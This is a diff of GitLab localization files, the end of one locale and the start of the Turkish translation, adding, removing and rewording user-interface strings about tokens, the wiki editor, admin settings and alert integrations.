-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/tr_TR/gitlab.po b/locale/tr_TR/gitlab.po
index 2e1d33c898b..2e786becefe 100644
--- a/locale/tr_TR/gitlab.po
+++ b/locale/tr_TR/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: tr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:42\n"
+"PO-Revision-Date: 2021-07-01 21:27\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] "%d Onay"
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] "%d sorun etiketle başarıyla içe aktarıldı"
msgstr[1] "%d sorun etiketle başarıyla içe aktarıldı"
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d katman"
@@ -421,6 +416,24 @@ msgstr "%{authorsName} kiÅŸisinin konusu"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr "%{name} kiÅŸisinden %{count} onay"
msgid "%{count} files touched"
msgstr "%{count} dosyaya dokunuldu"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,12 +672,12 @@ msgstr "Bir %{group_level_name} grubunda %{level_name} izin verilmez."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{link_start}Learn more%{link_end} about roles."
+msgstr ""
+
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "GitLab Inc. ile hangi bilgilerin paylaşıldığı hakkında %{link_start}daha fazla bilgi edinin%{link_end}."
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "Rol izinleri hakkında %{link_start}daha fazla bilgi edinin%{link_end}"
-
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr "%{start} - %{end}"
msgid "%{state} epics"
msgstr "%{state} epik"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr "%{total} açık sorun ağırlığı"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "Hangi bilgilerin GitLab Inc. ile paylaşıldığı hakkında %{usage_ping_link_start}daha fazla bilgi edinin%{usage_ping_link_end}."
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (birleÅŸtiremez)"
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr "%{value} s"
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "Harici depolama isteğini tanımlayan güvenli bir erişim anahtarı."
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr "Gelen e-posta erişim anahtarı"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "Başka hiçbir veriye erişmek için kullanılamaz."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,17 +1786,17 @@ msgstr "Git üzerinden HTTP üzerinden kimlik doğrulaması yapmak için kişise
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "GitLab API'sine erişmesi gereken, kullandığınız her uygulama için kişisel bir erişim anahtarı oluşturabilirsiniz."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "sıfırla"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr "Daha fazlasını öğren"
@@ -1912,6 +1915,9 @@ msgstr "Bu satıra yorum ekle"
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Bu %{noteableDisplayName} için genel bir yorum ekle."
@@ -1921,6 +1927,9 @@ msgstr "Buna %{noteable_name} genel bir yorum ekle."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Wiki'nize projeniz hakkında bilgi içeren bir ana sayfa ekleyin. GitLab bu mesaj yerine onu burada görüntüleyecektir."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr "Satır ekle"
@@ -1984,6 +1993,9 @@ msgstr "Tasarıma yorum ekle"
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "Dağıtım durdurma ekle"
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "Kullanıcı belirtilmedi."
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "Yeni projeler için paylaşılan çalıştırıcıları etkinleştir"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "Ortam değişkenleri öntanımlı olarak korunur"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,20 +2371,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr "Entegrasyonlara taşındı"
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "Gerekli iş hattı yok"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "Gerekli iş hattı yapılandırması"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "Bir iş hattı yapılandırma dosyası seçin"
-
-msgid "AdminSettings|Select a template"
-msgstr "Bir şablon seçin"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,12 +2407,9 @@ msgstr "Her projenin Otomatik İnceleme Uygulamaları ve Otomatik Dağıtma aşa
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "Yeni bir ortam değişkeni oluştururken, öntanımlı olarak korunacaktır."
-
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr "Yetkilendirme anahtarı"
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr "Tüm ortamlar"
msgid "All epics"
msgstr "Tüm epikler"
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "Tüm gruplar ve projeler"
@@ -3387,9 +3417,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr "Amazon Web Servisleri"
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Bildirim aboneliÄŸini deÄŸiÅŸtirirken bir sorun meydana geldi"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "Sorun ağırlığı güncellenirken bir hata oluştu"
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "Servis Masası etkinleştirilirken bir hata oluştu."
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "Projeler yüklenirken bir hata oluştu"
@@ -3762,9 +3792,6 @@ msgstr "Yorum güncellenirken bir hata oluştu"
msgid "An error occurred while updating the configuration."
